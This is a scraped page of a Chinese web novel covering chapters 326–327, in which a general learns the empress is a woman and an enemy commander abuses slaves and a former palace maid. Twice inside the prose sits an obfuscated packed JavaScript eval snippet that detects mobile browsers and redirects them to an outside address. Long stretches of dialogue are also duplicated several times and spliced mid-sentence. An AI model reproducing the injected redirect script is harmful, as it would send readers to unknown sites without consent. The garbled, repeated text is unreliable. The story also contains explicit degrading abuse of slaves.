“噗呵呵呵!”慕容嫣笑得花枝乱颤,“夫君又胡说了,朕虽然学问不高,但也读过几本书,识得几个字,孔孟之道乃是不变的哲理,是每个国家,每个君王都要学习的,夫君怎么能说它是中庸之道呢?” 这种新颖的说辞,引得所有人瞩目。 林臻放下筷子,表情十分正经的问慕容嫣:“嫣儿,我问你,你知道什么是孔孟之道吗?” 慕容嫣想了想,点头道:“知道啊,仁义礼智信,忠孝廉耻勇。” “错!要理解什么是孔孟之道,就要从王道和霸道讲起。” “王道?” “霸道?” 几女面面相觑,都不知道孔孟之道与这两个有什么关系。 林臻解释道:“王道是什么?王道就是你不听话,我杀掉你。” “那霸道呢?” “霸道就是,你听不听话,我都要杀掉你。” 几女越听越迷糊。 最后,林臻说:“而所谓的孔孟之道,就是在杀掉你之前,通知你一下。” 话分两头,且说林震仙这边。 老爷子虽已年近古稀,却依旧精神矍铄,几番大战下来,竟无半分疲态,仿佛岁月在他身上留不下半点痕迹。那一身铁骨铮铮,依旧如当年般挺拔,仿佛一柄出鞘的利剑,锋芒不减。 北海城,这座当年楚惜灵宁可失言也不愿放弃的城池,如今已尽数落入林震仙之手。至此,整个山东地区已尽归大乾版图,铁蹄所至,无不臣服。然而,南楚却依旧负隅顽抗,毫无投降之意。 近日有消息传来,楚霸天采纳了顾北辰的策略,将北方诸郡县的兵力尽数收缩,重兵屯守坚城下邳,摆出一副要与大乾决一死战的架势。 对此,林震仙却只是淡然一笑,仿佛这一切不过是一场儿戏。 中军大帐内,烛火摇曳,映照出林震仙那张饱经风霜却依旧坚毅的面庞。 他放下手中的军报,转头看向身旁的何明远,语气中带着几分调侃:“明远,陈宵那小子到哪了?” 何明远闻言,连忙拱手答道:“回王爷,因下邳有重兵把守,陈将军选择绕道而行,直取宿州。如今,宿州怕是已经落入他手中了吧。” 林震仙闻言,嘴角微微上扬,眼中闪过一丝赞许:“这小子,倒是有些胆识。照这么下去,用不了一个月,他怕是就要跨过长江,直捣南楚都城了。 ” 何明远眉头微皱,低声问道:“王爷,是否该将他召回?毕竟孤军深入,恐有不测。” 林震仙摆了摆手,笑道:“召回?呵呵,撒出去的野马哪有勒绳的道理?就让他放开手脚干吧,我倒要看看,这小子能打到哪一步。” 言罢,他继续低头批阅军中的公文,仿佛一切尽在掌握。片刻后,他又抬起头,眼中闪过一丝玩味:“那顾北辰倒是有几分才华,比项英那老家伙强多了。只可惜,他算不到天时。” 何明远闻言,端起茶杯轻啜一口,眉宇间却带着几分忧虑:“王爷,这老天爷真是一点面子都不给,到现在都一个多月了,硬是一滴雨都没下。再这么僵持下去,就只能强攻了。可若强攻,以我们目前的兵力,怕是难以撼动。唉,当真是进退两难。” 林震仙却不以为意,淡淡道:“不急,战果已然不小,即便此时收兵,也无不可。只是老夫觉得,这场雨,就快下了。” 就在两人交谈之际,帐外忽然传来一阵急促的脚步声。 一名传令兵慌慌张张地冲了进来,脸色苍白如纸,仿佛天塌了一般。 “报!!启禀王爷,京城有变!” 林震仙现在最怕听到的就是京城的消息。 他凝神呵斥道:“说!” “是,现在已经证实,陛下确实是女子。” “什么!?” 林震仙与何明远对视一眼,随即又问道:“消息准确?” “是陛下在金銮殿上亲口承认的,并且她已经换上凤袍和女装。但是百官对这件事情好像并不在乎。” “废话,兵权在老夫手里,他们就算在乎又能如何?只是老夫万万没想到,陛下竟然真的是女子。唉,先帝啊,你到底下的是什么棋啊。” “王爷,还有一事。”传令兵有些吞吞吐吐的。 林震仙很讨厌士兵这个样子,刚要开口喝骂,就听他说。 “府中管家传来消息,说世子与陛下极其亲密,恐有不正当关系。” “什么!!??” ” 何明远眉头微皱,低声问道:“王爷,是否该将他召回?毕竟孤军深入,恐有不测。” 林震仙摆了摆手,笑道:“召回?呵呵,撒出去的野马哪有勒绳的道理?就让他放开手脚干吧,我倒要看看,这小子能打到哪一步。” 言罢,他继续低头批阅军中的公文,仿佛一切尽在掌握。片刻后,他又抬起头,眼中闪过一丝玩味:“那顾北辰倒是有几分才华,比项英那老家伙强多了。只可惜,他算不到天时。” 何明远闻言,端起茶杯轻啜一口,眉宇间却带着几分忧虑:“王爷,这老天爷真是一点面子都不给,到现在都一个多月了,硬是一滴雨都没下。再这么僵持下去,就只能强攻了。可若强攻,以我们目前的兵力,怕是难以撼动。唉,当真是进退两难。” 林震仙却不以为意,淡淡道:“不急,战果已然不小,即便此时收兵,也无不可。只是老夫觉得,这场雨,就快下了。” 就在两人交谈之际,帐外忽然传来一阵急促的脚步声。 一名传令兵慌慌张张地冲了进来,脸色苍白如纸,仿佛天塌了一般。 “报!!启禀王爷,京城有变!” 林震仙现在最怕听到的就是京城的消息。 他凝神呵斥道:“说!” “是,现在已经证实,陛下确实是女子。” “什么!?” 林震仙与何明远对视一眼,随即又问道:“消息准确?” “是陛下在金銮殿上亲口承认的,并且她已经换上凤袍和女装。但是百官对这件事情好像并不在乎。” “废话,兵权在老夫手里,他们就算在乎又能如何?只是老夫万万没想到,陛下竟然真的是女子。唉,先帝啊,你到底下的是什么棋啊。” “王爷,还有一事。”传令兵有些吞吞吐吐的。 林震仙很讨厌士兵这个样子,刚要开口喝骂,就听他说。 “府中管家传来消息,说世子与陛下极其亲密,恐有不正当关系。” “什么!!??” ” 何明远眉头微皱,低声问道:“王爷,是否该将他召回?毕竟孤军深入,恐有不测。” 林震仙摆了摆手,笑道:“召回?呵呵,撒出去的野马哪有勒绳的道理?就让他放开手脚干吧,我倒要看看,这小子能打到哪一步。” 言罢,他继续低头批阅军中的公文,仿佛一切尽在掌握。片刻后,他又抬起头,眼中闪过一丝玩味:“那顾北辰倒是有几分才华,比项英那老家伙强多了。只可惜,他算不到天时。” 何明远闻言,端起茶杯轻啜一口,眉宇间却带着几分忧虑:“王爷,这老天爷真是一点面子都不给,到现在都一个多月了,硬是一滴雨都没下。再这么僵持下去,就只能强攻了。可若强攻,以我们目前的兵力,怕是难以撼动。唉,当真是进退两难。” 林震仙却不以为意,淡淡道:“不急,战果已然不小,即便此时收兵,也无不可。只是老夫觉得,这场雨,就快下了。” 就在两人交谈之际,帐外忽然传来一阵急促的脚步声。 一名传令兵慌慌张张地冲了进来,脸色苍白如纸,仿佛天塌了一般。 “报!!启禀王爷,京城有变!” 林震仙现在最怕听到的就是京城的消息。 他凝神呵斥道:“说!” “是,现在已经证实,陛下确实是女子。” “什么!?” 林震仙与何明远对视一眼,随即又问道:“消息准确?” “是陛下在金銮殿上亲口承认的,并且她已经换上凤袍和女装。但是百官对这件事情好像并不在乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15089630|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “废话,兵权在老夫手里,他们就算在乎又能如何?只是老夫万万没想到,陛下竟然真的是女子。唉,先帝啊,你到底下的是什么棋啊。” “王爷,还有一事。”传令兵有些吞吞吐吐的。 林震仙很讨厌士兵这个样子,刚要开口喝骂,就听他说。 “府中管家传来消息,说世子与陛下极其亲密,恐有不正当关系。” “什么!!??” ” 何明远眉头微皱,低声问道:“王爷,是否该将他召回?毕竟孤军深入,恐有不测。” 林震仙摆了摆手,笑道:“召回?呵呵,撒出去的野马哪有勒绳的道理?就让他放开手脚干吧,我倒要看看,这小子能打到哪一步。” 言罢,他继续低头批阅军中的公文,仿佛一切尽在掌握。片刻后,他又抬起头,眼中闪过一丝玩味:“那顾北辰倒是有几分才华,比项英那老家伙强多了。只可惜,他算不到天时。” 何明远闻言,端起茶杯轻啜一口,眉宇间却带着几分忧虑:“王爷,这老天爷真是一点面子都不给,到现在都一个多月了,硬是一滴雨都没下。再这么僵持下去,就只能强攻了。可若强攻,以我们目前的兵力,怕是难以撼动。唉,当真是进退两难。” 林震仙却不以为意,淡淡道:“不急,战果已然不小,即便此时收兵,也无不可。只是老夫觉得,这场雨,就快下了。” 就在两人交谈之际,帐外忽然传来一阵急促的脚步声。 一名传令兵慌慌张张地冲了进来,脸色苍白如纸,仿佛天塌了一般。 “报!!启禀王爷,京城有变!” 林震仙现在最怕听到的就是京城的消息。 他凝神呵斥道:“说!” “是,现在已经证实,陛下确实是女子。” “什么!?” 林震仙与何明远对视一眼,随即又问道:“消息准确?” “是陛下在金銮殿上亲口承认的,并且她已经换上凤袍和女装。但是百官对这件事情好像并不在乎。” “废话,兵权在老夫手里,他们就算在乎又能如何?只是老夫万万没想到,陛下竟然真的是女子。唉,先帝啊,你到底下的是什么棋啊。” “王爷,还有一事。”传令兵有些吞吞吐吐的。 林震仙很讨厌士兵这个样子,刚要开口喝骂,就听他说。 “府中管家传来消息,说世子与陛下极其亲密,恐有不正当关系。” “什么!!??” ” 何明远眉头微皱,低声问道:“王爷,是否该将他召回?毕竟孤军深入,恐有不测。” 林震仙摆了摆手,笑道:“召回?呵呵,撒出去的野马哪有勒绳的道理?就让他放开手脚干吧,我倒要看看,这小子能打到哪一步。” 言罢,他继续低头批阅军中的公文,仿佛一切尽在掌握。片刻后,他又抬起头,眼中闪过一丝玩味:“那顾北辰倒是有几分才华,比项英那老家伙强多了。只可惜,他算不到天时。” 何明远闻言,端起茶杯轻啜一口,眉宇间却带着几分忧虑:“王爷,这老天爷真是一点面子都不给,到现在都一个多月了,硬是一滴雨都没下。再这么僵持下去,就只能强攻了。可若强攻,以我们目前的兵力,怕是难以撼动。唉,当真是进退两难。” 林震仙却不以为意,淡淡道:“不急,战果已然不小,即便此时收兵,也无不可。只是老夫觉得,这场雨,就快下了。” 就在两人交谈之际,帐外忽然传来一阵急促的脚步声。 一名传令兵慌慌张张地冲了进来,脸色苍白如纸,仿佛天塌了一般。 “报!!启禀王爷,京城有变!” 林震仙现在最怕听到的就是京城的消息。 他凝神呵斥道:“说!” “是,现在已经证实,陛下确实是女子。” “什么!?” 林震仙与何明远对视一眼,随即又问道:“消息准确?” “是陛下在金銮殿上亲口承认的,并且她已经换上凤袍和女装。但是百官对这件事情好像并不在乎。” “废话,兵权在老夫手里,他们就算在乎又能如何?只是老夫万万没想到,陛下竟然真的是女子。唉,先帝啊,你到底下的是什么棋啊。” “王爷,还有一事。”传令兵有些吞吞吐吐的。 林震仙很讨厌士兵这个样子,刚要开口喝骂,就听他说。 “府中管家传来消息,说世子与陛下极其亲密,恐有不正当关系。” “什么!!??” ” 何明远眉头微皱,低声问道:“王爷,是否该将他召回?毕竟孤军深入,恐有不测。” 林震仙摆了摆手,笑道:“召回?呵呵,撒出去的野马哪有勒绳的道理?就让他放开手脚干吧,我倒要看看,这小子能打到哪一步。” 言罢,他继续低头批阅军中的公文,仿佛一切尽在掌握。片刻后,他又抬起头,眼中闪过一丝玩味:“那顾北辰倒是有几分才华,比项英那老家伙强多了。只可惜,他算不到天时。” 何明远闻言,端起茶杯轻啜一口,眉宇间却带着几分忧虑:“王爷,这老天爷真是一点面子都不给,到现在都一个多月了,硬是一滴雨都没下。再这么僵持下去,就只能强攻了。可若强攻,以我们目前的兵力,怕是难以撼动。唉,当真是进退两难。” 林震仙却不以为意,淡淡道:“不急,战果已然不小,即便此时收兵,也无不可。只是老夫觉得,这场雨,就快下了。” 就在两人交谈之际,帐外忽然传来一阵急促的脚步声。 一名传令兵慌慌张张地冲了进来,脸色苍白如纸,仿佛天塌了一般。 “报!!启禀王爷,京城有变!” 林震仙现在最怕听到的就是京城的消息。 他凝神呵斥道:“说!” “是,现在已经证实,陛下确实是女子。” “什么!?” 林震仙与何明远对视一眼,随即又问道:“消息准确?” “是陛下在金銮殿上亲口承认的,并且她已经换上凤袍和女装。但是百官对这件事情好像并不在乎。” “废话,兵权在老夫手里,他们就算在乎又能如何?只是老夫万万没想到,陛下竟然真的是女子。唉,先帝啊,你到底下的是什么棋啊。” “王爷,还有一事。”传令兵有些吞吞吐吐的。 林震仙很讨厌士兵这个样子,刚要开口喝骂,就听他说。 “府中管家传来消息,说世子与陛下极其亲密,恐有不正当关系。” “什么!!??” 第326章 美男盂、美男纸 真是一波未平一波又起。 刚刚听闻皇帝是女儿身,转眼自己的孙子就和她有染。 天呐。 连林震仙自己都说不清自己到底是惊还是怒。 惊的是他自己全力效忠的皇帝竟然是个女子。即便他心中没有对女子的偏见,那也是突如其来的噩耗,他甚至不敢想象京城现在得闹成什么样子。 怒的是林家几百年忠烈,从没做过任何过分的事情,而他的孙子竟然淫乱宫闱,与皇帝有染! 这若是传出去,不仅林家的声誉荡然无存,还可能背上谋逆的罪名,受世人唾骂。 林臻啊林臻,你可真是我的好孙子啊! “京城现在情况如何?老安还说什么了? 传令兵回答道:“回王爷,京城现在一切正常,管家并没有交代别的事情。 “一切正常?难道说那些官员已经接受了陛下是女子的事实? 何明远沉吟片刻,凝声说道:“王爷,这并不奇怪。 “为何? “因为兵权。何明远眼神十分笃定,“现在整个大乾的兵权都是王爷和世子手中,而陛下与世子的关系又说不清道不明。所以属下认为,只要有世子在,京城里的那些官员就闹不起来,至于地方官员,谁当皇帝都无所谓,是男是女也无所谓,他们只在意自己的利益。 “依你的意思,这件事情我们就当不知道? “对,顺其自然就好。世子早就不是曾经连喝花酒都要打欠条的纨绔了,属下相信,世子能将这些事情处理好,并且让大乾继续保持高速发展。 “唉。 他想起这段时间发生的事情。 先是顾云松这个逼养的联合北燕造反,林臻率军抵抗,以五千破十万,立下不世之功。后来又发展武清县,打地主分田地,受百姓爱戴。 甚至现在百姓都在对他高呼万岁,而皇帝对此却选择视而不见。 以前他还纳闷,身为皇帝怎会允许这样的事情发生.现在看来,这两人早就不分你我了。 而且林震仙认为,两人的感情不是从皇帝暴露真实性别开始的,而是早就开始了! 但是不知道因为什么突然瞒不住了,这才勉强让皇帝主动暴露性别。 林臻啊林臻。 你他妈就不能消停消停么。 家里那么多女子还不够你取乐的,居然连皇帝都上。 你是不是疯了呀! 这万一把皇帝搞怀孕了,你 怎么解释? 说老天爷赐的?百姓相信,官员能相信么。 林震仙气得咬牙切齿,一双虎爪紧紧攥住,发出嘎吱吱的声响。 何明远见他越想越愤怒,劝慰道:“王爷息怒,在属下看来,世子与陛下的关系应该不是件坏事。” “呸!空穴不来风,臻儿肯定已经与陛下有染,可惜我林家几百年的清誉如今全部都要葬送在这臭小子手里!” “也不能说葬送吧。不管陛下是男是女,总该是要收后宫的。与其让那些变态男宠进宫,倒不如世子一人来得可靠。至少世子一心为民,敢于为国家江山社稷赴汤蹈火,不会吹枕边风,影响国家。” “可问题是陛下能只要臻儿一个吗?你别忘了,她可是皇帝!” “世子是不会允许陛下找其他男人的,这点王爷大可放心。” “这倒也是.唉,我这好孙子怎么稀里糊涂的就成陛下的男宠了呢,还真是有手段,以前老夫小瞧他了。” “哈哈哈哈!”何明远笑着很是豪迈,“世子的聪慧岂是我等凡人能企及的?” “就他还聪慧呢?屁!天天不是在铜钱上抓挠就是琢磨着看美女,老夫还不了解他?” 嘴上这么说,但林震仙心里对林臻还是很认可的。 以前林臻吃喝嫖赌,无恶不作,现在不仅改掉了恶习,还开始为民生着想。 据说这臭小子在民间威望很高,而且接连两次大战,也让他在军中树立起一定的威望。 好啊,老林家后继有人了! 可是对于皇帝这件事情,林震仙还是有些难受。 林家三代忠心大乾,忠于皇族,如今到他这里竟然把皇帝给上了! 这. 这到底是忠于皇族还是淫乱宫闱啊? 林震仙咋想都觉得不对劲。 不过转念一想,自己孙儿什么也不差,就算上了皇帝以后也不会作威作福,这可比那些男宠强多了。 突然,他眼睛一亮,想到什么事情。 “诶?不对劲!!” 林震仙一惊一乍的,让何明远有些纳闷:“王爷,怎么了?” “如果陛下是女子,那谁和司马忠闺女行的房啊?别忘了,那天司马忠可是满世界地宣传她女儿呢。” “嘶王爷的意思是?” “肯定是臻儿!妈了个巴子的,这个臭小子,竟真的敢淫乱宫闱!等老夫打完了仗非好好整整他不可!” 奶奶的,上皇帝也就罢了。 现在居然连 皇帝的妃子都上。 你以为你是董卓啊? “王爷息怒,也许是陛下要求的也说不定,再者。那个时候陛下还没有公开自己的身份,因为估计所以恳求世子,也是正常的。 “话是这么说,可如果司马椿蕾生个大胖小子出来,群臣会怎么想!?就算嘴上不说,背地里还不骂死林家? “群臣怎么想属下不知道。但您怎么想,属下可是一清二楚。何明远不怀好意地笑了笑,“呵呵,王爷肯定会高兴得合不拢嘴。 林震仙指着他,气得手指头颤抖。 “你!老夫岂是那种为了重孙,就是非不分的人? “没有啊,要不然您也是希望司马椿蕾嫁给世子的,不对吗? “这那也不能是这种情况啊 “虽然过程不同,但结果终究是好的嘛,现在群臣也没什么意见,大家心往一处想,劲往一处使,大乾的变化日新月异,更胜从前,这可都是世子的功劳。就算世子开了与皇帝、妃子结婚生子的先例,也无不可。 “哼。林震仙冷哼一声,“我看你开始为那臭小子说话了,怎么?你也想把闺女嫁给他? “哈哈哈哈,如果能和王爷结亲,属下求之不得啊! “你想得美,你以为我林府是谁都能进来的?就你那大胖闺女,做梦去吧。 “王爷此言差矣,人家都说肩宽体扩好生养,我那闺女虽然年纪小,但身段已然是上上之选,您怎么还不要呢? 林震仙翻个白眼:“废话,你看看臻儿那几房小妾哪有一个肥胖的?别的不说,就那个晴雯,削肩膀, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15092946|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水蛇腰,身段纤细,就是脾气臭了些,居然敢和老夫顶嘴!若不是因为她有了身孕,老夫早就处死她了! “王爷的意思是,世子喜欢瘦弱的? “对。 “妥了,我现在就书信一封给我家闺女,让她减肥。 见何明远还真有这个意思,林震仙也没明着拒绝,转而问道:“行吧,那就给你个机会。哦对,你家闺女多大了? “八岁。 林震仙: 与此同时,下邳城内,顾北辰正坐在府衙正堂,脸色阴沉如水。 自从他献策固守下邳以来,这座城池便成了他的生死之地。 城破,他必死无疑;城在,他便能在南楚站稳脚跟,甚至平步青云。 为此,他不敢有丝毫懈怠,每日巡查城防,布置防守,确保粮道畅通,城内百姓安居乐业。 然而 ,自前日起粮道断了。 虽然下邳城内至少还有一年的存粮,但没有后继粮草还是让顾北辰心里不踏实。 而这一切,皆因陈宵。 这厮其实并未继续南下,而是卡在下邳南侧,专劫从南楚运过来的曹亮。 但凡有运粮队经过,他便率骑兵突袭,抢粮杀人,最后一把火烧个精光。 顾北辰多次派兵护送粮队,却皆无功而返。 因为在平地上,没有人能够打得过陈宵的骑兵。 面对这种悍将,顾北辰是既恨又惧。 他曾多次派说客前去策反,许以重金、美女,地位等等糖衣炮弹。 但结果无一例外,所有说客的脑袋都被他砍下送了回来。 然后这厮依旧我行我素,劫粮杀人,毫不留情。 “这个狗东西!真是岂有此理!”顾北辰怒骂一声,猛地咳出一口浓痰,转头吐进跪在一旁的男子口中。 “” “咕嘟。”那男子低眉顺眼,竟将痰咽了下去。 这是顾北辰来到南楚后学会的“美男盂”。 在南楚的上流社会,这样的“美男盂”几乎家家都有。 起初,顾北辰还因大乾的礼教束缚而心生愧疚,认为人家男孩子也不容易,奴隶也是人,不能太苛刻。 但久而久之,这种畸形的快感便占据了他的内心。 谁让他是上位者,而他只是奴隶呢? 所以府衙里光美男盂就是三个,一个在正堂,一个在卧房,一个在餐厅。 不仅如此,顾北辰还学会了“美男纸”。 这玩意儿更是变态,也不知是哪个混账发明的。 所谓“美男纸”,便是家主如厕后,不用纸擦…… 太带劲了。 顾北辰如今已深深爱上了南楚。 这里就是上位者的天堂。 只要你有权有势,便可对下等人、奴隶为所欲为,无人敢置喙半句。 没有林震仙那样的大傻逼在朝堂上弹劾你,也没有人敢对你的行为指手画脚,甚至大家都觉得这样很正常。 “” “” 想到这里,顾北辰的嘴角勾起一抹冷笑。 他抬头望向窗外,眼中闪过一丝狠厉:“陈宵,你以为你能断我粮道?哼,我倒要看看,你能嚣张到几时!” 这时有传令兵走进来,双手抱拳:“大帅!” 第327章 只要是顾郎,怎么样都没关系呢 项英被俘后,顾北辰就成了新任的大帅,乃南楚皇帝楚霸天亲自点兵。 他这么做也有考校的意义。 世人都传大乾顾北辰是如何如何厉害,如何如何的文武双全。 耳听为虚,眼见为实。 如果顾北辰真的能打退林震仙,那以后他就是南楚的军神,一人之下万人之上。 但如果打不过那就死吧。 因为你已经没有任何的利用价值。 顾北辰看着传令兵,轻声喝道:“讲。” “府衙外有位女子想见您。” “女子?” 顾北辰烦躁地撇撇嘴。 这都什么时候了,他没心思去见一个来路不明的女人。 更何况家里这么多女人,很多还没上过呢,没工夫伺候新人。 “是,那女子还让末将把这个交给您,说您一看便知。” 传令兵递上来一个手帕。 那手帕带着淡淡体温与汗香,上面绣着一只凌空飞起的仙鹤。 顾北辰看着看着,突然瞪大双眼,满脸的难以置信。 没错,这就是他当年偷偷送给嬛嬛的手帕! 难道是嬛嬛来了? 想起那个每次看到自己都羞答答娇滴滴的女孩子,顾北辰再也控制不住,急忙喊道:“快!快把人叫进来!” “是!” 传令兵离开,很快,一脸风尘仆仆的嬛嬛便带着哭腔从外面跑进来。 而顾北辰此时正在堂中来回踱步,等待着。 见人进来,他快步走过去,声音里满是急切:“嬛嬛,真的是你?” “顾郎!!!!”嬛嬛一声嚎叫,瞬间扑进顾北辰怀里,将其死死搂住,再不愿意松手。 泪水很快湿透了衣襟。 顾北辰后知后觉,反手搂住她的纤腰,轻轻拍着她的美背。 这丫头瘦了呀。 此刻顾北辰心中只有对大乾往事的感慨,没有半分心猿意马。 主要也是因为这段时间爽得差不多了。 “嬛嬛,没事了没事了,你先松开我,坐下喝口水,慢慢说。” “呜呜呜北辰,我还以为我再也见不到你了呢。” 顾北辰有些懵。 你一个皇帝的贴身婢女这么想见我干什么? 草,该不会爱上我了吧? “嬛嬛,你怎么来了?陛下呢?到底发生了什么事情?” 嬛嬛正要开口,却突然眼前一黑,昏了过去。 顾北辰大惊,连忙搂住她,大喊道:“快传大夫!” 原来嬛嬛为了见顾北辰一面,从京城出发,多日奔波,导致劳累过度。她身上的银两又不够多,吃不好睡不好。 在没见到顾北辰时全靠一口气绷着,现在神经一放松,身心俱疲,便昏了过去。 晚间。 顾北辰的卧房内。 嬛嬛穿着亵衣,满脸幸福地靠在床头,看着神情专注给自己喂药的顾北辰。 这一刻的她别提有多幸福了。 哪怕立刻死了,她也愿意。 顾北辰坐在床边,神色温柔,葱白纤细的手指不断拨弄着碗里的粥,盛到勺子里时还轻轻吹了吹,最后再喂给嬛嬛。 “嬛嬛,你是怎么从宫里出来的?” 嬛嬛吃掉粥,徐徐说道:“陛下赦免了我的罪,又给了我五十两银子,让我自谋出路。可是我从小就在宫里长大,根本无处可去,所以就来找顾郎了。” “傻丫头,苦了你了,来,再吃点。” “不苦,只要能见到你,一切都值得。” 嬛嬛一口一口的喝粥,直到整碗粥见底,这次舒服的打个饱嗝,脸色开始逐渐有了血色。 “以后就在我身边生活吧。” “嗯!都听顾郎的~” 嬛嬛羞涩的脸蛋仿佛能滴出血来,顾北辰骄傲的笑了笑。 瞧见了吧?老子的魅力就是这么大! 连皇帝的侍女都对我垂涎不已。 “对了顾郎,你可能还不知道吧?陛下其实是女儿身。” “什么?” 轰—— 本来还有些骄傲的顾北辰,瞬间在脑海里炸响一道惊雷。 “陛下竟然是女子?” “对!这是她最大的秘密,这么多年我一直隐瞒着,就在我离开京城的第二天,我把这个秘密放了出去!现在慕容嫣,也就是陛下,她迫于压力已经对外公开了自己的身份。” “那群臣就没炸锅?他们能同意女子当皇帝吗?” “没有,因为有林臻在,所以他们根本不敢说什么。” 嬛嬛目光暗淡下去。 她本来是想用这个办法报复的,但谁知不仅没有起一点波澜,还反而让慕容嫣变得更加名正言顺。 “林臻.又是这个林臻!”顾北辰怒吼,一把将碗放在桌子上。 家族毁灭,父亲被斩,企业破产。 都是因为林臻! 而自己现在躲在下邳,还被他爷爷虎视眈眈地围 城! 欺人太甚。 欺人太甚了! 老子早晚要弄死林臻,以报灭门之仇! 想到这,顾北辰居然觉得有些不对,好像漏掉了什么。 很快,他凝眉问道:“嬛嬛,林臻该不会和慕容嫣.” 嬛嬛点头:“没错,他们已经有了苟且之事,现在后宫里的司马椿蕾和顾缜,也都是林臻的妃子,大乾,彻底变成林臻的了。” “这个婊子!!”顾北辰站起来,怒吼道。 “老子照林臻差什么?你为何偏偏选择林臻而不选择我!?如果你选择我,现在大乾就是我顾北辰的,我又何苦在这鸟不拉屎的地方守城!?慕容嫣,你就是害我家破人亡的罪魁祸首!老子定要利用南楚的军队打回乾国去,把你这个婊子拽下来,好好地羞辱你!” 顾缜是顾北辰的堂妹。 虽然顾北辰对这个堂妹没有多少感情,但毕竟有血缘关系,如今听到这样的消息,生气也在所难免。 甚至嬛嬛觉得顾北辰生气的样子太帅了,恨不得现在就扑进他怀里狠狠地撒娇一番呢! 情绪宣泄过后,顾北辰也开始思考眼下局势。 林震仙围而不攻,不外乎两个目的。 一个是在等待什么,另一个就是围点打援。 但南楚显然没有救他的意思,那林震仙就是在等待。 等什么呢?等自己粮草断绝吗?下邳城内的存粮足够一年的消耗,但顾北辰不因为林震仙也能消耗得起。 想报仇就得一步一步走,现在林震仙打退再说吧。 “嬛嬛,你先好好休息,我晚点再来看你。” “顾郎!!你”嬛嬛抓住顾北辰的手,满脸渴求:“你能不能吻吻我?我真的好想你。” 额. 面对这样的要求顾北辰实在不知道该怎么拒绝,更何况嬛嬛长相也是极美的。 最重要的是,他是皇帝的贴身侍女啊。 那得冰清玉洁到什么程度!? 要不尝尝? 顾北辰几乎什么姑娘都试过,就是还没试过皇帝的侍女。 这让他有种亵渎的快感。 于是他坏笑着坐下,单手抓住嬛嬛的下巴,霸气地说道:“吻一下,你怎么报答我啊?” “我只要是顾郎,怎么样都没关系呢~” “真的?” “真的,嬛嬛都听顾郎的话~只求顾郎不要抛弃嬛嬛就好~” “那好,来~张嘴。” 嬛嬛听话地把 嘴巴张开,顾北辰没有亲吻,而是把两根手指头放进去。 嬛嬛一点都不讨厌,甚至还很喜欢。 半眯着眼睛,情不自禁的开始**。 触感滑腻腻的,顾北辰很是喜欢。 直到嬛嬛的呼吸越来越急促时,他把头埋进她的脖颈间,轻轻嗅着从她身体里散发出来的少女芳香,不知不觉竟有了感觉,大手向下探去,抓住嬛嬛的纤细脚踝。 “嬛嬛,让我好好的疼疼你。” “嗯终于等到这一天了,请顾郎不必怜惜。” 干柴烈火,一触即发。 嬛嬛展现出来的疯狂是顾北辰没想到的,但最终的结果却让他很不满意。 没有红。 顾北辰顿时兴趣大落。 奶奶的,折腾半天玩了个二手货,草! 勉强发泄完,顾北辰穿上衣服,神情冷漠地吓人。 而嬛嬛还沉浸在刚才的温柔中无法自拔。 她抓住顾北辰的手,说道:“顾郎,你好厉害。” 顾北辰冷冷的看着他,把手抽开。 这个动作让嬛嬛瞬间惊醒。 就听他问道:“谁碰过你?” “什么?” “我问你,谁碰过你的身体?” 嬛嬛立刻慌乱起来:“没有啊,我的身体从来没有人碰过。” “呵,还跟我狡辩是吧?我问你,是不是林臻!??” 顾北辰的表情都有些扭曲起来。 他觉得自己喝的是林臻的刷锅水。 然而嬛嬛却十分委屈,哀求地摇晃着顾北辰的手臂。 “顾郎,你听我解释,我真的是干净的,没有人碰过我!林臻也从来没碰过我!” “放屁!林臻都把皇帝上了,还会放过你吗?” “可是我真的没有啊.呜呜呜呜!” “那为什么不见红?” 如果有点常识就知道,有些女孩子就是天生没红。 还有的女孩子是在运动中不小心破裂的,这和她们身体干净与否并没有直接关系。 尤其是后世,这玩意居然还能修复. “哼!”顾北辰甩手起身,走了出去。 他绝不可能会容忍不干净的女人在自己身边,即便是皇帝的侍女也是如此。 而嬛嬛却只有嘤嘤哭泣,以表达自己的委屈。 顾北辰一路来到城楼上,感受到略带寒意的秋风吹过,掀起他的发梢。 不知不觉,竟下雨了。 嘴巴张开,顾北辰没有亲吻,而是把两根手指头放进去。 嬛嬛一点都不讨厌,甚至还很喜欢。 半眯着眼睛,情不自禁的开始**。 触感滑腻腻的,顾北辰很是喜欢。 直到嬛嬛的呼吸越来越急促时,他把头埋进她的脖颈间,轻轻嗅着从她身体里散发出来的少女芳香,不知不觉竟有了感觉,大手向下探去,抓住嬛嬛的纤细脚踝。 “嬛嬛,让我好好的疼疼你。” “嗯终于等到这一天了,请顾郎不必怜惜。” 干柴烈火,一触即发。 嬛嬛展现出来的疯狂是顾北辰没想到的,但最终的结果却让他很不满意。 没有红。 顾北辰顿时兴趣大落。 奶奶的,折腾半天玩了个二手货,草! 勉强发泄完,顾北辰穿上衣服,神情冷漠地吓人。 而嬛嬛还沉浸在刚才的温柔中无法自拔。 她抓住顾北辰的手,说道:“顾郎,你好厉害。” 顾北辰冷冷的看着他,把手抽开。 这个动作让嬛嬛瞬间惊醒。 就听他问道:“谁碰过你?” “什么?” “我问你,谁碰过你的身体?” 嬛嬛立刻慌乱起来:“没有啊,我的身体从来没有人碰过。” 